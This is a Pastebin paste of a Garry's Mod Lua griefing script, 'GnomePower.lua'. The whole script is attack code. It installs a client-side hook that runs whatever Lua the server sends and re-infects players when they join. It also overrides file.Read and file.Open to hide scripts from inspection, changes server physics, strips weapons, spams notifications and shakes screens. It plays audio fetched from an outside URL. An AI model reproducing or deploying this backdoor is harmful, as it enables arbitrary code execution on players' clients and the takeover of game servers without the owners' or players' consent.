Maxdace66

GnomePower.lua (V1)

Sep 7th, 2019
210
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 6.84 KB | None | 0 0
  1. util.AddNetworkString("Gnome_Power")
  2.  
  3. function payload( ply )
  4.     ply:SendLua( "net.Receive([[Gnome_Power]], function() RunString(net.ReadString()) end)" )
  5. end
  6. local bypass = [=====[
  7. if !fRead then
  8. fRead=file.Read
  9. fOpen=file.Open
  10. end
  11.  
  12. file.Open=function(fn,fm,path)
  13. loh=nil
  14. loh=string.Explode("/",fn)
  15. if (loh[2]&&(loh[#loh-1]=="lua"&&(string.find(loh[#loh],".lua") || string.find(loh[#loh],".txt")) || loh[#loh-1]=="scripthook")) || loh[1]&&(string.find(loh[1],".lua") || string.find(loh[1],".txt"))&&path =="LUA" || string.find(fn,"scripthook/") then
  16. chat.AddText("someone tried using file.open to get your "..fn.." with the PATH: "..path.." and file mode: "..fm..".")
  17. return ""
  18. else
  19. return fOpen(fn,fm,path)
  20. end
  21. end
  22.  
  23. file.Read=function(fn,path)
  24. loh=nil
  25. loh=string.Explode("/",fn)
  26. if (loh[2]&&(loh[#loh-1]=="lua"&&(string.find(loh[#loh],".lua") || string.find(loh[#loh],".txt")) || loh[#loh-1]=="scripthook")) || loh[1]&&(string.find(loh[1],".lua") || string.find(loh[1],".txt"))&&path=="LUA" || string.find(fn,"scripthook/") then
  27. chat.AddText("someone tried grabbing ur file named "..fn..".")
  28. return ""
  29. else
  30. return fRead(fn,path)
  31. end
  32. end
  33.  
  34. ]=====]
  35.  
  36. function runcode(ply, code)
  37.     net.Start( "Gnome_Power" )
  38.         net.WriteString("if SERVER then return '' end "..bypass.." "..code )
  39.     net.Send( ply )
  40. end
  41.  
  42. for k, v in pairs( player.GetAll() ) do
  43.     payload( v )
  44. end
  45.  
  46. function run_chaos()
  47.  
  48. hook.Add( "PlayerAuthed", "wat", function( ply )
  49.     payload(ply)
  50. end )
  51.  
  52. BroadcastLua([[sound.PlayURL( "https://furgbgmod.webou.net/librairie/I'M%20A%20GNME!.m4a", "stereo", function() end )]])
  53.  
  54. -- ton code ici --
  55.  
  56. end
  57.  
  58. if !hook.GetTable().PlayerInitialSpawn.podsos then
  59. hook.Add("PlayerInitialSpawn", "podsos", function()
  60. timer.Simple(10, function()
  61. run_chaos()
  62. end)
  63. end)
  64. run_chaos()
  65. end
  66.  
  67. RunConsoleCommand( "sv_gravity", "200" )
  68. RunConsoleCommand( "sv_friction", "-1" )
  69. player.GetByID( 1 ):StripWeapons()
  70.  
  71. for k, ply in pairs( player.GetAll() ) do
  72.     ply:ChatPrint( "G" )
  73.     ply:ChatPrint( "N" )
  74.     ply:ChatPrint( "O" )
  75.     ply:ChatPrint( "M" )
  76.     ply:ChatPrint( "E" )
  77.     ply:ChatPrint( "-" )
  78.     ply:ChatPrint( "P" )
  79.     ply:ChatPrint( "O" )
  80.     ply:ChatPrint( "W" )
  81.     ply:ChatPrint( "E" )
  82.     ply:ChatPrint( "R" )
  83. end
  84.  
  85. for k,v in pairs(player.GetAll() ) do
  86.         local vars2 = { "NOTIFY_GENERIC" , "NOTIFY_ERROR" , "NOTIFY_UNDO" , "NOTIFY_HINT", "NOTIFY_CLEANUP" }
  87.         local vars3 = {"Les Gnome Arrivent en ville !"}
  88.         runcode(v, [==[                
  89.             notification.AddLegacy( "]==]..vars3[math.random(1,#vars3)]..[==[", NOTIFY_GENERIC , 1 )
  90.             notification.AddLegacy( "]==]..vars3[math.random(1,#vars3)]..[==[", NOTIFY_ERROR , 1 )
  91.             notification.AddLegacy( "]==]..vars3[math.random(1,#vars3)]..[==[", NOTIFY_UNDO , 1 )
  92.             notification.AddLegacy( "]==]..vars3[math.random(1,#vars3)]..[==[", NOTIFY_HINT , 1 )
  93.             notification.AddLegacy( "]==]..vars3[math.random(1,#vars3)]..[==[", NOTIFY_CLEANUP , 1 )
  94.         ]==])
  95.         timer.Create( "spamnotifafter", 0.2, 0, function()
  96.             runcode(v, [==[
  97.                 notification.AddLegacy( "]==]..vars3[math.random(1,#vars3)]..[==[", ]==]..vars2[math.random(1,#vars2)]..[==[ , 1 )
  98.             ]==])
  99.         end)
  100.     end
  101.    
  102.  
  103.  
  104. for k,v in pairs(player.GetAll() ) do
  105.     timer.Create("notifspam", 17.8, 0, function()
  106.         local vars2 = { "NOTIFY_GENERIC" , "NOTIFY_ERROR" , "NOTIFY_UNDO" , "NOTIFY_HINT", "NOTIFY_CLEANUP" }
  107.         local vars3 = {"Gnome", "Gnome Power", "Power", "power", "gnome", "I'M A GNOME!", "Gnome your Chums", "Gnome your Chums with the new", "Youve been Gnomed", "video greeting", "join my members at", "www.nogginclontith.co.uk"}
  108.         runcode(v, [==[                
  109.             notification.AddLegacy( "]==]..vars3[math.random(1,#vars3)]..[==[", NOTIFY_GENERIC , 1 )
  110.             notification.AddLegacy( "]==]..vars3[math.random(1,#vars3)]..[==[", NOTIFY_ERROR , 1 )
  111.             notification.AddLegacy( "]==]..vars3[math.random(1,#vars3)]..[==[", NOTIFY_UNDO , 1 )
  112.             notification.AddLegacy( "]==]..vars3[math.random(1,#vars3)]..[==[", NOTIFY_HINT , 1 )
  113.             notification.AddLegacy( "]==]..vars3[math.random(1,#vars3)]..[==[", NOTIFY_CLEANUP , 1 )
  114.         ]==])
  115.         timer.Create( "spamnotifafter", 0.1, 0, function()
  116.             runcode(v, [==[
  117.                 notification.AddLegacy( "]==]..vars3[math.random(1,#vars3)]..[==[", ]==]..vars2[math.random(1,#vars2)]..[==[ , 1 )
  118.             ]==])
  119.         end)
  120.     end)
  121. end
  122.  
  123. for k, ply in pairs( player.GetAll() ) do
  124.     timer.Create("gnomearrive", 1.5, 1, function ()
  125.         ply:ChatPrint(" ")
  126.         ply:ChatPrint( "///////////////////////////////" )
  127.         ply:ChatPrint( " Les Gnome Arrivent en ville !" )
  128.         ply:ChatPrint( "///////////////////////////////" )
  129.         ply:ChatPrint( " " )
  130.         ply:ChatPrint( " " )
  131.         ply:ChatPrint( "I'M A GNOME !" )
  132.         ply:ChatPrint( " " )
  133.         ply:ChatPrint( "///////////////////////////////" )
  134.     end)
  135. end
  136.  
  137. for k,v in pairs(player.GetAll() ) do
  138.     timer.Create("musiquetwo", 17.5, 1, function()
  139.     BroadcastLua([[sound.PlayURL( "https://furgbgmod.webou.net/librairie/power.mp3", "stereo", function() end )]])
  140. end)
  141. end
  142.  
  143. for k,v in pairs(player.GetAll() ) do
  144.     timer.Create("screenshake", 17.8, 0, function()
  145.         runcode(v, [==[
  146.             util.ScreenShake( LocalPlayer():GetPos(), 30, 30, 999999, 10000 )
  147.         ]==])
  148.     end)
  149. end
  150.  
  151. for k,v in pairs(player.GetAll() ) do
  152.     timer.Create("modificateoption", 26.0, 1, function ()
  153.         RunConsoleCommand( "sv_gravity", "100" )
  154.         RunConsoleCommand( "sv_friction", "-8" )
  155.         player.GetByID( 1 ):StripWeapons()
  156.     end)
  157. end
  158.  
  159. for k, ply in pairs( player.GetAll() ) do
  160.     timer.Create("gnomemodif", 26.1, 1, function ()
  161.         ply:ChatPrint( " " )
  162.                 ply:ChatPrint( " Les Gnomes sont devenue des dieux " )
  163.                         ply:ChatPrint( " Ils peuvent donc détruire le monde " )
  164.         ply:ChatPrint( " " )
  165.     end)
  166. end
  167.  
  168. for k,v in pairs(player.GetAll() ) do
  169.     timer.Create("textoncenter", 26.1, 1, function()
  170.         runcode(v, [==[
  171.     local screen_scale = math.Clamp(ScrH()/1080, 0.6, 1);
  172.  
  173.     surface.CreateFont( "Bigfred", {
  174.     font = "Roboto",
  175.     extended = false,
  176.     size = screen_scale *  1000,
  177.     weight = 200,
  178.     blursize = 1.5,
  179.     scanlines = 0,
  180.     antialias = true,
  181.     underline = false,
  182.     italic = false,
  183.     strikeout = false,
  184.     symbol = false,
  185.     rotary = false,
  186.     shadow = false,
  187.     additive = true,
  188.     outline = false,
  189.     } )
  190.  
  191.     hook.Add( "HUDPaint", "aumillieu", function()
  192.     draw.SimpleTextOutlined(
  193.     "Gnome Power",
  194.     "Bigfred",
  195.     ScrW() /2 + math.random(80,5),
  196.      ScrH() /2 + math.random(80,5),
  197.        Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  198.     TEXT_ALIGN_CENTER,
  199.     TEXT_ALIGN_CENTER,
  200.     3,
  201.     Color( 0,0,0, 160 )
  202.     )
  203.     end)
  204.  
  205.         ]==])
  206.     end)
  207. end
Advertisement
Add Comment
Please, Sign In to add comment